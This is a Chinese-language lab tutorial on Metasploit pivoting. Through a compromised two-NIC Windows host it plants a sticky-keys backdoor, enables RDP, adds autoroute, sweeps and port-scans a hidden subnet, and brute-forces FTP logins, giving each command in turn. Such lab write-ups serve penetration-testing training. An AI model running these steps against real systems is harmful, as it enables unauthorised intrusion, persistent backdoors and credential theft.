FTP枢轴攻击

简单来说，这是攻击者可以利用属于不同网络的那些系统的攻击。

本文作者：jishuzhain

对于这种攻击，攻击者需要利用主服务器来帮助攻击者将自己添加到本地网络中，然后攻击者就可以将客户端系统进行定位，然后攻击。

实验环境要求：

攻击机：Kali Linux

枢纽机：具有两个网络接口的windows系统 

目标机器：windows7（允许FTP服务）

利用枢纽机

使用exploit MS17-010或多种处理程序来攻击枢纽机器并绕过其UAC来实现管理员权限。

sessions

从给定的截图中可以确认我拥有的枢纽机器（192.168.0.101）是meterpreter session 1。

发起粘滞键攻击

这里我需要漏洞利用来发起粘性攻击

use post / windows / manage /sticky_keys

msf post（sticky_keys）> setsession 1

msf post（sticky_keys）> exploit

它已经在枢纽机器中成功发起了粘性攻击，现在我们将利用它来建立与目标FTP服务器的连接。

启用RDP服务

打开meterpreter session1并键入以下命令，这将启用远程桌面服务在枢转机器中。

Meterpreter>run getgui -e

验证枢轴的网络接口

通过以下命令检查网络接口：

Meterpreter> ifconfig

从给定的图像可以在旋转的系统观察两个网络接口，  1 日 为IP  192.168.0.101 通过攻击者连接和  2 次  为IP  192.168.100.102  通过FTP服务器（目标）连接。

使用autoroute后利用

因为攻击者属于  192.168.0.1  接口，客户端属于  192.168.100.0  接口，因此除非攻击者c处于同一个网络连接，否则不可能直接对客户端进行攻击。为了实现192.168.100.0网络攻击者需要运行 后利用模块  “autoroute”。

该模块通过现有的Meterpreter会话管理会话路由。它可以使其他模块在连接到命名的NETWORK和SUBMASK时通过受感染的主机进行“转发”。Autoadd将从路由表和接口列表中搜索有效子网的会话，然后向其添加路由。默认值将添加一个默认路由，使得MSF路由表中未指定的所有TCP / IP流量将在枢转时路由通过会话。

use post / multi / manage /autoroute

msf post（autoroute）>setsession 1

msf post（autoroute）> exploit

使用Ping扫描后利用

该模块将使用包含操作系统的ping命令执行IPv4 ping扫描。

use post / windows / gather / ping_sweep

msf post（ping_sweep）> setrhosts 192.168.100.1-110

msf post（ping_sweep）>setsession 1

msf post（ping_sweep）> exploit

在这里我们找到了一个新的主机IP  192.1668.100.103  ，如图所示。我们对本机上激活的服务执行TCP端口扫描。

使用TCP端口扫描 后利用

此模块通过在每个端口上执行完整的TCP连接来枚举打开的TCP服务。这不需要源计算机的管理权限，这在枢纽时可能很有用。

use auxiliary/ scanner / portscan / tcp

msf auxiliary(tcp) > set ports 21

msf auxiliary(tcp) > set rhosts192.168.100.103

msf auxiliary(tcp) > set thread 10

msf auxiliary(tcp) >exploit

从给定的截图你可以观察  21端口是开放的，我们知道端口21用于FTP服务。

FTP暴力登录

该模块将测试一系列机器上的FTP登录并报告成功登录。如果您加载了数据库插件并连接到数据库，则该模块将记录成功的登录和主机，以便您可以跟踪您的访问。

use auxiliary/scanner/ftp/ftp_login

msf auxiliary(ftp_login) > set rhosts192.168.100.103

msf auxiliary(ftp_login) > setuser_file /root/Desktop/user.txt

msf auxiliary(ftp_login) > setpass_file /root/Desktop/pass.txt

msf auxiliary(ftp_login) > setstop_on_success true

msf auxiliary(ftp_login) > exploit

从给定的截图可以看出，它显示了用户名：raj  和  密码：123 可以进行登录的匹配组合  。

通过RDP连接到枢轴机器

在kali Linux中打开新终端，并键入以下命令，通过RDP服务与枢纽机器连接

  rdesktop 192.168.0.101

如果你还记得之前我们有进行粘性攻击，那么当你按下5次Shift键时，会在登录屏幕上打开命令提示符。

现在按5次Shift键，然后您将获得命令提示符，并键入“ start iexplore.exe ”，这将启动InternetExplore。

连接FTP服务器

在浏览器中输入并执行FTP连接的以下URL：

ftp://192.168.100.103

现在输入我们通过FTP登录暴力攻击即raj：123发现的账号与密码

我们通过枢纽机器与FTP服务器成功连接。

参考来源：http://www.hackingarticles.in/ftp-pivoting-rdp/